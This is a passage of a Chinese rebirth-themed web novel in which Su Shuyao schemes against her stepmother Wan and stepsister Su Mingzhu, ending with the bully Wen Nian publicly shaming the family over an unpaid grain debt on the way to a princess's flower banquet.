“这段时间没来，娘天天念叨，对了，你怎么送来那么多仆从，我们家用不了那么多......看看，院子打理得怎么样，这些兰花全是我去山上挖的，你看看喜欢不喜欢？” 路边的小花园，左边种了不少蔬菜，右边栽了不少兰花。 兰花歪七八扭地挤作一团，既不优雅也不美观。 苏舒窈很认真地点了点头：“谢谢三哥哥，我很喜欢。” 被人惦记的感觉真好。 走了没几步，便听见棍棒破空的声音。 院子里，二哥苏明南正在练习棍法。 大伯家的三个孩子五官很像，气质各有不同。 老大苏明厉儒雅清俊，老三苏明沣阳光活泼，老二苏明南则有一种江湖侠义气质。 苏明南的个子比苏明沣高一些，皮肤是小麦色，身上的短打束得很紧，露出臂膀紧实的肌肉。 他的额角有一道浅疤，面部轮廓经历风沙雕刻，五官透着一股凌厉。 面相有些凶。 苏舒窈看到人的一瞬，心里有些发怵。 “舒窈妹妹回来了。”苏明南收起手中木棍，咧嘴一笑，露出一口雪白的牙齿。 笑起来还是凶。 “二哥哥。”苏舒窈上前见礼。 苏明南从怀里掏出一个铃铛，递了过去：“送给妹妹的见面礼，不值几个钱，妹妹拿去玩吧。” 铃铛很可爱，做成小猫的样式，下摆坠了羽毛，轻轻摆弄便发出“叮铃铃”的声响。 “谢谢二哥哥，我很喜欢。”苏舒窈双手接过，拿到手中端详。 她活了两世，还是第一次见到这么有趣的小玩意儿。 二哥是镖师，常年走南闯北，执行任务的时候，还专门给她挑了礼物。 这份礼物看似随意，实际很用心。 她都能想象，二哥顶着一脸凶相，去买小铃铛时的窘相。 苏明沣担心苏舒窈被二哥的长相吓到，悄悄和她咬耳朵： “二哥就是看起来凶，其实心肠很软，之前他偷偷养了只小猫，出镖回来小猫不见了，找好久都没找到，二哥还偷偷抹眼泪......” 苏舒窈偷偷抿嘴笑：“原来二哥是铁汉柔情。” “老三，慎言。”苏明南手持木棍，眼神里带了一丝锐利。 看起来更凶了。 他挥着木棍，朝着老三头上敲了过去。 “二哥，我是在帮你！”苏明沣捂着头大叫。 苏明南脸上露出一抹杀气，苏明沣上前一把将人抱住：“二哥，我错了，我以后再也不敢了，你快说，你已经原谅我了。” 苏明南：“......” “快洗手吃饭了！”大伯娘的声音响起。 “大哥哥呢？”苏舒窈问道。 “大哥天没亮就去李大儒家学习，要晚上很晚才回来，娘给他单独留了饭。”苏明沣拉着人往饭堂走：“快走，娘做了你最爱的烧鸡！” 苏舒窈心里泛起一抹涟漪。 真想永远待在这里，再也不回侯府了。 上一世，大伯一家过得怎么样，她记不起了。 只记得变成鬼魂的时候，看着大伯娘把她安葬了，安葬她的地方，旁边还有四个墓碑。 当时她心里有怨，惦记着回侯府，没注意墓碑上的字。 现在细想起来，四个墓碑，不是正好对应大伯和三个哥哥...... 想到这里，苏舒窈内心不安起来。 “大伯娘，大伯的病怎么样了？” “还是老样子，眼睛痛，痛得整宿睡不着觉。”大伯娘叹了口气，眼眶微红，“别说这些不愉快的，来，吃菜。” “大伯娘，要不换一个医师看看？” 上一世，大伯应该很早就去世了。 大哥考上进士，如果大伯去世，也不能出仕。 如果大伯在科举之前去世，大哥连明年的科举都不能参加。 “京城的医师，除了御医都瞧过了，银子也花完了。”大伯娘扯出一个笑来：“如果能看好，早好了。你大伯现在都已经认命了。” “大伯娘，我认识一个医师，医术精湛，我下次带过来给大伯瞧一瞧病试试。” 上一世，苏明添骑马摔了腿，看了很多医师都没看好，腿部肿胀、化脓，连路都走不了，整个人都废了。 后来，苏舒窈听说琅玡山上有个鬼医，医术精湛，就是脾气怪，轻易不出诊。 苏舒窈上门当了一个月药童，任劳任怨，半条命差点没了，才求得鬼医给苏明添看诊。 鬼医出手，小半年时间，苏明添的腿就医好了，能跑能跳，和正常人无异。 后来苏明添从军成了将军，最感谢的人，是苏明珠，他说，他腿断那段时间，苏明珠每天守在他旁边鼓励他，要不是苏明珠，他没有机会站起来。 苏明添嫌她多管闲事，更不喜欢鬼医看诊的态度。 苏明添还说了，是她让他去从军，他在军营九死一生，一身伤痛。 他这辈子，最恨的人，就是她。 这一世，她还是会去求鬼医，但是，不是为了苏明添，而是为了大伯。 她希望大伯娘一家，都好好的。 第49章 奸商 从大伯家出来，苏舒窈被一抹金光迷了眼。 “苏小姐，好久不见？” 谢老板头上戴了金冠，金冠上镶了颗鲜艳欲滴的红宝石，在日光下发出刺目的光。 “谢老板这么有空？”苏舒窈早已料到谢老板会找上门，笑了笑：“谢老板是不是想说粮食的事？找个地方坐下谈？” “苏小姐果然聪明。”谢老板今儿的穿着也是相当华丽，外罩的鲛纱轻薄透气，听说宫里都只有几匹。 由此可见，谢老板的身份真的不一般。 “最近粮食价格疯涨，苏小姐，我可是亏大了！” “听了苏大小姐的话，我把粮食赊给苏二小姐，现在苏二小姐把我告了，我都不敢去要钱。” 谢老板伸出手来：“苏小姐说过，要是赚不了钱，会赔给我的。” 他的手指修长，骨节分明，五指手指上，戴了三个戒指。 拇指上戴了一颗顶级祖母绿扳指，食指一颗镶红宝石金戒指，无名指上一颗累丝镂空戒指。 这么多戒指，戴别人手上显得庸俗，但戴谢老板手上，华丽又矜贵。 苏舒窈看着他手上的戒指，笑道：“谢老板不像是来要钱的，倒像是来炫富的。” 谢老板桃花眼一弯，露出一抹笑来：“你就说好看不好看？” 像只开屏的孔雀。 苏舒窈点点头：“好看。” 谢老板收起手，眉眼一挑，眼里流露出一抹深情：“那你和我回家，我身上的宝贝，都是你的。” 苏舒窈可不吃他那一套：“谢老板不要钱了？” 谢老板：“怎么可能不要，那可是我的血汗钱。” 苏舒窈：“既然谢老板不敢找苏明珠要银子，我做个掮客，帮你把契书卖了。” 谢老板眼睛眯起来：“卖给谁？这份契书有官司，谁敢买？” 骨节分明的手指再次伸了出来。 苏舒窈：“司礼监大太监温德贵的干儿子，温年。” 温年是温德贵姐姐的儿子，自从认了温德贵当干儿子，便仗着温德贵的势，平时飞鹰走狗，嚣张跋扈，尽干些欺男霸女的勾当。 低价将赊粮食契约卖给他，让他去找苏明珠要钱，苏明珠不敢报官，更不敢不给。 谢老板翘起脚，露出一双云纹粉底靴来，靴头镶的几颗东珠，也耀眼的很：“就算卖了，我还是亏，现在粮食的价翻好几倍了。” “你答应要补偿我的。” “你要是敢骗我，也可以见识一下我的手段。” 他脸上的漫不经心瞬间凝固，下颌棱角逐渐分明起来。 “谢老板囤的冰和药材赚了不少。”苏舒窈手中的青瓷盖碗，纹丝未动：“还有卖给苏明珠的香料，可是帮谢老板挽回了不少损失。” “两相抵消了。” 谢老板把玩着手中一根翎羽，“你可真赖皮。” 苏舒窈继续道：“囤那么多粮食，你以为她卖得出去？谢老板就拭目以待，看看苏明珠怎么赔得血本无归吧。” 谢老板忽然坐直了身体：“你又有消息了？” 修长的手指将手中翎羽插回腰间：“怎么消息比我还灵通？” 他也是刚收到朝廷即将开仓放粮的消息，分析出朝廷肯定会对粮食加以管控。 屯粮，确实挣不了钱。 在朝廷的管控下，很有可能会亏。 他得知消息是因为朝中有人，不知道苏舒窈从哪里得来的消息...... 谢老板眼睛眯起来，长睫根根分明，眼中欣赏一闪而过。 苏舒窈只不过赢在重生一次，她不想和他在这个问题上纠缠，岔开话题道：“谢老板身世不俗，怎么不去当官？当了官，岂不是赚得更多？” 士农工商，商人属于末流。 谢老板消息灵通，手眼通天，身上穿戴不俗，不去当官，怎么会跑来经商？ 谢老板笑道：“你猜？” 苏舒窈认真地想了想：“谢老板这样的奸商，当官的话也是奸臣，谢老板要是出生清流世家，确实不适合为官。当了官会给家族抹黑的。” “哈哈哈。”谢老板摇着手中镶金箔折扇，笑得开怀：“你别说，还真有几分道理。” “被你这么一说，我倒想去当官了。” 苏舒窈双手合拢，行了个礼：“那我便祝谢老板青云直上，前途似锦。” 两人说了一会儿话，一起去见了温年。 谢老板将手上的契书半价卖给了温年，又去官府备了案。 接下来，便等着温年上门讨债了。 苏舒窈在想，让温年什么时候上门讨债，对苏明珠的名声伤害最大呢。 办完事，苏舒窈回了侯府，她第一时间去看了兰花。 兰花已经结了两朵花苞，绿色的花苞漂浮在青瓷盆中，像是被水浸泡过的翡翠。 再过几日，花开之后，会像绿色的云朵一般优雅。 分芽培育的另一株，也长了黛绿的叶片。 鬼医是兰花的狂热爱好者，上一世，鬼医也是帮人看诊，得到了这盆“绿云”。 苏舒窈打算用这盆“绿云”，换取医治大伯的机会。 “让人看好这株兰草，不准任何可疑人靠近。” 苏舒窈刚吩咐完，秋霜就进来了：“大小姐，夫人让您过去。” 苏舒窈换了身衣裳，去了万氏那里。 万氏房中的檀香味依然没变，苏舒窈知道，万氏私下里让人去香料铺子买了香。 整个侯府的生活水平都下降了，就万氏这里依然保持着以往的水准。 屋子里伺候的人一个没少，之前发卖奴仆，也只卖了几个洒扫的丫头和粗使婆子。 “听说你得了一张长公主赏花宴的请帖？” 苏舒窈点头道：“是，李夫人给我的。” 万氏眉心皱起：“这么大的事，怎么不回来告诉我？” 苏舒窈回道：“只邀了我一个人。” 万氏摆了摆手：“你一个小孩子，什么都不懂，没有长辈带着，你一个人去长公主那里，失礼冲撞了长公主怎么办？长公主赏花宴那日，我带着你们姐妹三人，一起赴约。” 苏舒窈想了想，答应了。 温年上门要债那天，便定到长公主花宴那天吧。 第50章 机遇 从春景园出来，苏舒窈便让人去通知温年，定好了上门讨债的日子。 她回去没多久，听说万氏病了。 万氏这病来得凶险，忽然发起高热，针药无用。 威远侯都扔下小妾，过来守了一天。 苏舒窈去看了一次，万氏不是装病，病得挺严重的，高热一直不退，睡梦中还在说胡话。 威远侯都已经开始准备白事了，万氏身上的热忽然就退了下来。 热退下之后，万氏立刻就好了，跟没事人一样，仿佛那场大病不曾得过，好似发了一场白日梦。 万氏痊愈之后，苏舒窈去春景园探望，万氏见到苏舒窈的第一眼，吓了一大跳。 “舒、舒窈，你，你怎么在这里？” 苏舒窈不是死了吗？ 她的脸上带了几分惊恐，像是见到了不该见到的人。 苏舒窈疑惑地看过去：“夫人，我不在这里，该在哪里？” 万氏深吸了一口气，捏着手中佛珠，念了好几句阿弥陀佛，心绪平稳之后，才嫌弃地挥了挥手，“你先出去，我大病初愈，精神有些不振。” 过了两天，万氏才又把苏舒窈叫了过去。 这次的万氏正常多了，又恢复了往日慈悲的模样。 “对了，上次让你去唐家，明沛和唐挽心的婚事商议得怎么样了？” 苏舒窈愣了愣：“唐家不同意，唐家说了婚事已退，不要再提。” 万氏冷笑一声：“还拿起乔来了，以后有他们悔的。” 唐家正值鼎盛，唐大人可是正三品左副都御史，深受陛下器重。 唐挽心算是下嫁，在普通人眼中，这门亲事本就不般配。 更别说苏明沛最近出了这么多丑事，还纳了门贵妾。 就算家世相当的人家，都不一定愿意把闺女嫁进来。 也不知道万氏哪里来的底气。 “明沛以后可是有大出息的人。”万氏眼神坚定，语气笃定，仿佛放弃苏明沛，是唐家莫大的损失一般。 苏舒窈冷眼看着万氏的反应，心中明了，万氏也重生了。 “等明沛高中之后，再去一次吧。”万氏拨弄着手中佛珠：“再给唐家一个机会。” 万氏病着的这几天，做了个梦。 在梦里，苏明沛考中进士之后，最终官居二品，成为本朝最年轻的尚书，深受皇帝器重。 老二苏明添也会成为战功赫赫的大将军。 苏明芷会嫁入高门。 他们侯府，可是京城炙手可热的新贵。 到时候巴结侯府的人，能绕京城一圈。不管她去谁家的花宴，都是座上宾。 唐家拍马都追不上。 在梦里，唐氏自持世家出身，规矩繁多，动不动还要和她这个当婆母的理论。 不仅如此，唐氏也不肯善待小姑，明珠和明芷都不喜欢她。 唐氏唯一交好的对象，就只有苏舒窈。 她不喜唐氏。 但，唐氏也不是全无优点，她管家极为妥帖，嫁妆也丰厚，嫁进门后，中馈打理得极好，还会帮着侯府填窟窿。 唯一不好的是，唐氏是只不下蛋的母鸡。不仅如此，她还善妒，不准明沛纳妾。 自己生不出来就算了，还不让别人生。 不过现在好了，明沛纳了贵妾，已经有子嗣了。 看在唐氏管家不错的份上，她愿意给唐氏一个机会。 “唐氏女被退婚，想必也没人要。等明沛高中进士，你再去唐家一趟。”万氏捏着手中佛珠，淡淡地说道： “你大可告诉唐家，这是最后一个机会，要是她们不肯把握，我们便要重新相看了。” “到时候可别哭着后悔。” 万氏的脸上的表情，和上一世侯府重登鼎盛之后的表情重叠。 高不可攀、不可一世。 苏舒窈乖巧地点了点头。 “是，夫人。” 这一世，和上一世完全不同，不知道万氏的美梦还能做多久。 “行了，你去吧，我还要礼佛。” 打发走苏舒窈之后，万氏把苏明珠、苏明芷、苏明添全部叫了过来。 “两日后去参加长公主赏花宴，你们准备一下。” 听到长公主赏花宴，苏明珠和苏明芷双眼一亮。 长公主的赏花宴其实就是变相的相亲大会，能参加的都是京中有头有脸的世家门阀夫人。 这次的赏花宴，实际上是长公主为嫡长子谢小郡王相看媳妇。 长公主说了，娶媳妇不论门第，只论才干，要是被长公主看上，成为郡王妃，那真是飞上枝头变凤凰了。 “明添和明沛也跟着一起去。” 这次赏花宴，门阀世家公子也会参加，到时候两个儿子也能结交不少权贵。 苏明芷拉着万氏的手撒娇：“母亲，我的首饰太寒酸了，你借我两样首饰。” 万氏让人打开妆奁让两个女儿挑选：“喜欢什么随便选。” 上一世，苏明芷嫁的是辅国公府的五公子。 这门亲事，当初是苏舒窈撮合的。 五公子虽然是国公府嫡子，但却是继室所出的嫡幼子，从小被娇惯着长大，是个典型的纨绔。 苏明芷嫁过去虽然不愁吃穿，但被几个妯娌欺压，五公子不停纳妾，夫妻关系也不好。 这一世，凭着明沛的仕途，明芷值得更好的夫君。 还有明珠，最让她操心的，便是明珠。 上一世，明珠一直没有说亲，她也是被元祖给耽搁了。最后苏舒窈死后，明珠如愿嫁给了元祖。 元祖那个鳏夫，苏舒窈死前不珍惜，苏舒窈死后又做出一副深情模样。 简直令人作呕。 这一世，要是相到更好的，明珠应该不会再看上元祖了吧。 “上次做的新衣裳，拿来试一试，看上什么首饰只管开口，去长公主府，定要打扮得漂漂亮亮的。” “母亲，帮我看看这个金步摇戴上怎么样？”苏明芷拿起一支金步摇在头上比划。 万氏指着一套蓝宝石头面：“戴那个试试。” 这套蓝宝石头面可是万氏的嫁妆，虽然有些过时，但用料极好，万氏平日里都不让碰的。 这次竟然主动拿出来，可见她对长公主赏花宴的重视。 苏明芷兴高采烈地捧着蓝宝石头面：“多谢母亲，母亲帮我戴上，我试一试。” 万氏看着两个女儿，满意地笑了。 既然她知晓未来，定要为儿女谋划出一片锦绣前程。 第51章 无理取闹 苏明芷和万氏在一旁兴致勃勃地打扮，苏明珠悄悄叫住苏明添：“二哥哥。” 苏明添看她一眼：“二妹妹有事？” “二哥哥，是不是还在生我的气？”苏明珠算是看出来了，这几次冲突，苏明添都在有意无意地帮着苏舒窈说话。 换作上一世，苏明添极度厌恶苏舒窈，最是疼爱她的。 怎么最近几日，二哥哥看她的眼神都变了。 二哥哥今后可是大将军，她不能失去二哥哥的偏爱。 “二哥哥，明珠什么地方做得不好，你告诉明珠，明珠改好不好？” 她眼眶一红，身体微微颤抖起来，像只被欺负的小猫。 苏明添其实也很喜欢苏明珠这个妹妹的，乖巧听话又善解人意。 而且苏明珠早年丢失，他把对她的好当做补偿。 三个妹妹当中，他也确实是对苏明珠最好。 但，经过上次苏舒窈提醒，他发现，苏明珠对大哥更好，苏明珠与大哥更亲。 这点让他感到很不爽。 最重要的是，苏明珠竟然把香料铺子给毁了。 那可是一年十多万收益的香料铺子啊！ 其中也有他的一份。 苏明珠不仅毁了香料铺子，还毁了侯府家业，他最近每天一看到清水煮菜，他就会忍不住咒骂苏明珠。 要不是苏明珠，堂堂侯府怎么可能沦落到这个地步。 苏明添心中有气，但看到苏明珠泪眼婆娑的样子，他还是心软了。 毕竟是他真心疼爱过的妹妹，看到妹妹伤心难过，也会动容。 “二哥哥。”苏明珠上前一步，拉住苏明添的袖子，轻轻摇了摇。 “二哥哥是在生气香料铺子的事，对不对？” 苏明添抿了抿唇，没有说话。 苏明珠上前抱住苏明添的胳膊，轻轻摇了摇：“二哥哥，其实啊，我们都被姐姐骗了。” 苏明添瞄她一眼：“怎么回事？” 苏明珠轻轻一眨眼，泪珠便顺着脸庞滑落下来，一副楚楚可怜：“二哥哥，姐姐给的方子，是假的。她手上拿着真的方子，不肯交出来。” “还有，我们家的铺子旁边，分别新开了一家香料铺子，那些香料铺子的掌柜、伙计，全是之前姐姐的人，我还看到香料师在里面。” 虽然没有确切证据，但苏明珠敢肯定，必定是苏舒窈在其中搞鬼。 要不然，苏舒窈香料铺子被抢，为何如此镇定。 上一世，万氏想要苏舒窈的香料铺子，苏舒窈反应可是极大的。 “我怀疑，姐姐在其中动了手脚，偷偷把香料铺子据为己有了。”苏明珠抽泣起来：“有心算计无心，我哪里是姐姐的对手。” 涉及到自身利益，苏明添一下子就动容了。 “苏舒窈好大的胆子！” “妹妹可有证据？” 苏明珠眼眶噙着泪，轻轻地摇了摇头：“就是没有确切证据，但是，二哥哥你想一想，要不是她在中间作怪，怎么会有那么多巧合？” “姐姐以前最是爱管着侯府大大小小的事，这一回，她一改常态，竟然真的甩手，什么都不管，二哥哥，你觉得这正常吗？” 苏明添摇了摇头。 苏舒窈最近变化真的很大，不仅当面和父亲母亲顶嘴，还真的什么事都不管了。 她以前不是这样的。 她以前什么都要管，不仅要管大哥的学业，父亲几个妾室有什么事，也是找她。 他曾在背地里揶揄她是管家婆，这回侯府受了这么大的影响，她跟个没事人一样。 大家都在吃水煮青菜，就她一个人每日满嘴油光。 她定然是背着大家在外面偷吃。 想到这里，苏明添手握成拳，骂道：“好一个苏舒窈，竟然如此奸诈！” “二哥哥，我们暗地里查一查，如果姐姐真的将香料铺子据为己有了，一定要让她还出来。” 苏明珠说道：“那些香料铺子，可是祖上的基业，我以后是出嫁女，这些与我无关，可是，二哥哥是侯府正儿八经的嫡子，这些产业是有你一份的。” 苏明添捏着拳头，狠狠地捶了一下空气：“苏舒窈，真的太过分了！” “我以为她以前管家，是全心全意为侯府着想，原来是包藏祸心，怀着私吞侯府资产的目的！” 一点证据没有，便已经给苏舒窈判了刑。 在利益面前，真相往往没那么重要。 “明珠妹妹，你说，我们该怎么做，才能找到她私吞侯府产业的证据？” 苏明珠想了想：“姐姐对我很是警惕，我不敢跟紧了。要不，二哥哥找人跟着她，跟的时间长了，她总会露出马脚的。” 两人说开之后，又亲热地抱到了一起。 “在明珠心中，二哥哥是疼爱明珠的好哥哥。” 苏明添对苏明珠的不满，已经消散无几，苏明珠再一次成了他心中排名第一的好妹妹。 ~ 长公主赏花宴这天，万氏清早便带着两个女儿打扮。 苏明珠穿了件粉色长裙，头上戴了套粉色宝石头面，脸上扑了粉，涂了厚厚的胭脂，大红的口脂。 苏明芷也用心打扮了，光是步摇，就插了两支在发髻上，走起路来，叮当作响。 裙子上也是绣满了大红的牡丹，惹眼得很。 相对于苏明珠和苏明芷的琳琅满目，苏舒窈看起来清爽多了。 她穿了一条浅绿的长裙，松松挽了个发髻，头上簪了两朵粉嫩的蔷薇，配上珍珠头饰，好似幽静山谷中一朵白玉兰，透着一股天然的美。 她的五官原本就明艳，素淡的装扮不喧宾夺主，更衬得她愈发花容月貌。 没怎么打扮，却很好看，更耐看。 仿佛与清风明月为伍，自带一份与世无争的淡然。 美得顺其自然，美得毫不费劲。 与苏舒窈相比，苏明珠和苏明芷的打扮便显得用力过猛许多，好似嫁不出去的老姑娘，终于能出门相亲的既视感。 万氏看到苏舒窈那个样子就觉得不爽：“穿戴得这般寒酸，出门别人还以为我苛责了你？！” 苏舒窈淡淡一笑：“上次我稍微打扮，夫人便骂我是荡妇，到处勾引男人。这回我不打扮了，又怪我丢了夫人的脸。” “夫人究竟要我如何？” 第52章 丢脸 万氏被噎得面红耳赤，不知道该如何应对。 在苏舒窈面前，苏明珠和苏明芷被衬得像是暴发户家里那种没见过世面的小丫鬟似的，恨不得把所有家当都穿戴在身上。 她气得从苏明芷头上扯下一支金步摇，“戴这么多干什么？” 苏明芷有些不满。 母亲刚不是说了，戴这么多喜庆的吗？ 现在又在怪她戴多了。 苏明芷看了眼苏舒窈，可恶，苏舒窈怎么那么好看？ 当初怎么不捡个丑姑娘回家！ 万氏把从苏明芷头上扯下的金步摇插到苏舒窈头上，“戴上，免得别人说我苛待了你。” “多谢夫人。”苏舒窈白得一支金步摇，心情大好。 金步摇插头上，并没有破坏她的美感，好似洒在兰花瓣上的一抹阳光。 长得好看的人便是这般，不管穿戴什么，都好看。 万氏更气了，但也找不到理由发作，最后咬着牙挥挥手：“走吧，别迟到了！” 赏花贴是苏舒窈的，如果不是她的，她定不会带苏舒窈一起。 太抢风头了。 万氏带着两个亲女坐一辆马车，苏舒窈单独坐一辆马车。 一上马车，万氏就拿着帕子往两个女儿脸上擦。 “铅粉涂太厚了，小姑娘家清清爽爽才好看。” 擦掉脸上铅粉，下面的皮肤露出来，皮肤不仅偏黑，还有痘痘和痘印。 万氏叹了口气，“重新上粉吧，上淡一些。” 苏明珠拉着万氏的手，小声道：“母亲，长得好有什么用，以色侍人者，终是下乘。” “你看哪家高门大户的主母是一副狐媚样子的？” 苏明芷也道：“对啊，母亲，我和明珠姐姐心灵美，我们这样的，才端庄大气。” 万氏胸口闷气稍微舒展了些许。 她拉着两个女儿的手，笑道：“你们都是好孩子，母亲知道。” 说到以色侍人，当初万氏就想把苏舒窈送去宫里。 反正一个养女，要是受宠，侯府得益。 如果不幸死于宫斗，侯府也无甚损失。 最后是老夫人拦着不让，还给苏舒窈说了元家的亲事，这事才作罢。 既然苏舒窈不要元家的亲事，她这般好颜色，送去宫里或者送给达官显贵，都能卖个不错的价钱。 这事事关侯府前途，侯爷肯定不会阻止。 等苏舒窈被送出去，看她还敢这么嚣张！ 想到这里，万氏胸口闷气终于舒畅了。 长公主府在松花巷，刚过巳时（上午九点），巷子口的马车便排起了长龙。 万氏撩起帘子，对着两个女儿道：“隔壁是鸿胪寺卿家的马车、前面那辆是护国公府家的马车。” 马车里的夫人，上一世和她都有交情。 这一世，那些门阀世家的夫人还不认识她。 无妨，等到明沛有了出息，这些夫人自然会来巴结她。 “母亲，鸿胪寺卿家的夫人看过来了。”苏明芷激动地压低声音。 万氏立刻坐直身体，看了过去。 “这位夫人有些面生？”鸿胪寺卿汪夫人是长公主府上常客，一般的官家夫人，她都认识。 苏明珠柔柔地笑着：“汪夫人，我们是威远侯的，这是我母亲，母亲姓万，是威远侯侯夫人。” “威远侯啊？”汪夫人想了想，实在想不起威远侯是哪里的，但能被长公主邀请，都是上京有头有脸的人家，自然是不能轻视。 汪夫人笑了笑，自报家门：“为夫在鸿胪寺任职，在下姓汪，万夫人叫我一声汪夫人便是。” 两人隔着帘子问了好，汪夫人家也有两个刚及笄的女儿，几个姑娘互相问好，约好在赏花宴上一起玩耍。 她转头看了眼苏舒窈的马车，马车安安静静的，帘子关起来，完全没有被外面的热闹所影响。 就那个闷葫芦，长得再好看有什么用，一点也不懂交际。 马车慢慢往前行驶，不多时，又和护国公家的马车挨到了一起。 万氏有了经验，主动和护国公夫人套起近乎。 报出门第之后，护国公夫人也是笑脸相迎。 苏明珠非常高兴，仿佛已经打入了京城权贵圈，从此便青云直上了。 忽然，一伙男子拦在马车面前。 万氏和护国公夫人相谈甚欢，马车忽然停下来，她颇有些不高兴：“去看看怎么回事？” 跟车的小厮前去交涉之后，回来回禀：“夫人，那群人是来要钱的，说是二小姐欠了他们的钱。” 苏明珠心里咯噔一声，心头涌上一抹不详的预感。 万氏勃然大怒：“什么泼皮无赖，要钱不去府上要，偏偏跑这里来堵人，不是存心给人添堵吗？” “直接打了出去！咱威远侯府可不是好惹的！” 上一世，苏明沛官居二品之后，威远侯府的名声在整个京城都很响亮。 万氏还以为活在上一世呢，报出家门人家就会害怕。 小厮回道：“夫人，打不得，那位是帽儿胡同的温大爷。” 帽儿胡同的温年，万氏当然知道，温德贵的干儿子。 万氏可不怕温德贵，再过两年，温德贵可是因为殿前失仪，被杖毙了。 “什么温大爷，没听说过，直接打出去，出了事我负责！” 小厮哭笑不得：“夫人，对方十来个人，我只有一个，上去也是只有挨打的份。” 万氏这才冷静下来。 虽然没打起来，但万氏和小厮的对话，全被温年听了去。 “威远侯府，什么破落户，也敢在爷面前充大尾巴狼！”温年手里拿着一纸契书，朝着马车大喊：“爷这里有契书，白纸黑字画了押的！” “大家都来看看，威远侯府耍无赖了！” “不还钱，我可要报官了！” 万氏看向苏明珠：“怎么回事？什么契书？” 苏明珠忙解释：“之前那个卖香料的骗子，赊了一仓库粮食给我，我估摸着，既然报了官，那个骗子肯定不敢再来要钱。” 没想到那个骗子把契书卖了，还卖给了温年这个泼皮。 “母亲，我是受害者，不用给他钱，我们可以报官的。” 苏明珠话音刚落，外面便响起此起彼伏的吆喝声： “苏明珠，还钱！” “威远侯府破落户，欠钱不还，全家死完！！” “还钱！！” 温年带的人多，声音又大，不消半盏茶时间，周围好几辆马都听说了“威远侯府二小姐欠钱不还”的消息。 原本就拥堵的巷子，因为温年堵着，马车更是寸步难行。 温年拿着契书，挨个马车让人看：“我可不是无赖，大大看看，白纸黑字画了押的，官府盖了印的，我也不多要，该是多少就是多少！” 有的夫人等的不耐烦，掀开帘子道：“赶紧还钱把人打发了吧，人家契书都拿到面前来都不还钱，脸皮也太厚了吧。” 温年无赖一笑：“二小姐，如果不想还钱，小爷不介意把你娶回家暖床，小爷房中，正好缺一个知冷知热的夫人！” 听到这样的议论，万氏气得浑身发抖。 第53章 男盗女娼 “啊呸，那温年欺男霸女，不知道掳了多少民女回府，现在竟然敢肖想我们二小姐！”吴妈妈气得骂道。 见对方越说越过分，万氏终于坐不住了。 这不仅关乎苏明珠的名声，更加关乎侯府脸面。 “还！我还！” “快去叫他闭嘴！” 温年拿着契书到处招摇，很多夫人都看到了，虽然她们占理，但如果解释，又会牵连出香料铺子的事来。 香料铺子的攀扯出来，更显得苏明珠蠢笨如猪。 万氏今日是打算让苏明珠的在门阀夫人眼中留下好印象的。温年这样闹下去，怎么得了。 万氏没有办法，只得让人回家去取银子。 苏明珠安慰道：“母亲别怕，就算给了银子，算下来，我们还是赚的。” 现在的粮食一天一个价，翻了十倍不止。 还了温年的钱，还是能赚的。 “粮食一出手，银子马上还给母亲。” 万氏也梦到过，这一年因为瘟疫，所有物价都在上涨，但那毕竟是梦，很多细节都记不太真切。 隐约记得这一年粮食会涨价的，府里也囤了不少粮食。 但银子没到手，心里难免慌乱。 苏明珠轻轻拉了下万氏的衣袖：“母亲，你说这事，是不是姐姐做的啊？” 早不来晚不来，偏偏这个时候来。 万氏冷笑一声：“她有这个本事？” 苏舒窈管管内宅还行，她能指使的动温年？ 但，万氏就算不认为是苏舒窈在背后捣鬼，也要把苏舒窈叫过来。 胸中这口气，定是要找个发泄口的。 “去，把大小姐叫过来问问。” 苏明珠眨了眨眼，“母亲待会儿再叫吧，姐姐长得这般花容月貌，要是被温年看上可怎么办？听说这温年极为好色，一旦看上，便要强行掳人......” 万氏愣了愣，却也没有阻止吴妈妈去叫人。 刚才被苏舒窈顶撞的事，万氏怀恨在心。 趁此机会给苏舒窈一个教训，让她明白，长得漂亮又怎么样？ 没有侯府的照拂，美貌只会让她跌入万劫不复的深渊。 苏舒窈戴着帷帽，从马车上下来，缓缓走过来：“夫人，叫我何事？” 万氏道：“这件事你可否知晓？” 苏舒窈淡然回道：“原本不知道的，温公子声音大，大家都听到了。” 苏明珠拉着万氏，压低声音：“母亲，快让姐姐回马车吧，姐姐可是难得一见的美人，就怕温公子对她动歪心思，揭了姐姐的帷帽。” 她虽然压着声音，却刚好让温年听到了。 苏舒窈也听到了。 温年转头看向苏舒窈，苏舒窈戴着帷帽，帷帽薄纱拖在地上，将脚也遮了个严实。 什么也看不到。 温年眼神眯了眯。 就当苏明珠暗自窃喜之时，温年痞气一笑，大声道：“二小姐，动歪心思的人，是你才对吧！” “没想到二小姐欠钱不还，还一肚子男盗女娼，竟然怂恿我去揭大小姐的帷帽！” “我温年行得正站得端，是那种卑鄙无耻下流的人吗？！” 身边的小弟附和道：“当然不是，小的从没见过像温爷这般敞亮的人才！” 温年大声一吆喝，把苏明珠的话原封不动地说了出去。 周围马车里的夫人，全是高门世家的主母，都是千年的狐狸，哪里不懂这种拙劣的小把戏。 没想到威远侯府的夫人小姐，这般龌龊，竟然怂恿登徒子欺辱自家姐妹。 这样的人家，实在是不敢结交。 原本还在为万氏和苏明芷鸣不平的两个夫人，也放下了帘子。 苏明珠气得浑身发抖：“我不是这个意思......温公子误会了......” 温年大声道：“你不是这个意思，那你是什么意思？” “难道你看上小爷了？怕别人和你抢小爷？！” “你这般的货色，姿色一般就算了，心思还歹毒，小爷无福消受啊！” 苏明珠眼前一黑，差点气得厥过去。 温年，我要杀了你！ 万氏也在一旁咬牙切齿。 心里虽恨，却不知该怎么回击。 母女俩都是这样，在府中飞扬跋扈，出了侯府，便沦为任人宰割的羔羊。 银子终于送来，万氏赶紧让人把银子拿过去，将契书换了回来。 温年本就是求财，拿了银子也没再逗留，哼着小曲儿走了。 “那温年，终有一天我会收拾他！” 温德贵两年后就会死，这温年也蹦跶不了多久。 她完全没把温年放在眼里。 万氏以为自己是上一世那个高高在上的侯夫人，说话完全没有顾忌。 万氏没有遮掩，这话自然被温年听了去。 温年心眼极小，自然是怀恨在心，找人传了一句：“万夫人，来日方长”。 万氏完全没有放在心上。 温年离开后，苏明珠气得嘴皮哆嗦：“母亲，我真的不是这个意思，母亲信我。” 万氏拉着她的手安慰道：“母亲知道，是那温年不识好歹，他的话你不必在意。” 苏明芷也很生气：“那温年真是太过分了，明珠姐姐明明是在为大姐姐着想，却被他误解成这个样子！” 万氏看了一眼小女儿，没有说话。 温年带着人离开后，巷子畅通了，没一会儿，马车终于驶入了长公主府邸。 刚才遇到的护国公夫人、鸿胪寺卿家的汪夫人，也正好带着自家女儿下车。 